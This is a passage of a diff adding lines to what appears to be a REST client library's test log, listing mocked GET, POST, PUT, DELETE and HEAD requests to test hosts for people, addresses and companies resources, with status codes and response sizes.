+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (223 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (223 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (48 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (25 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (15 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (15 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (50 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (223 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
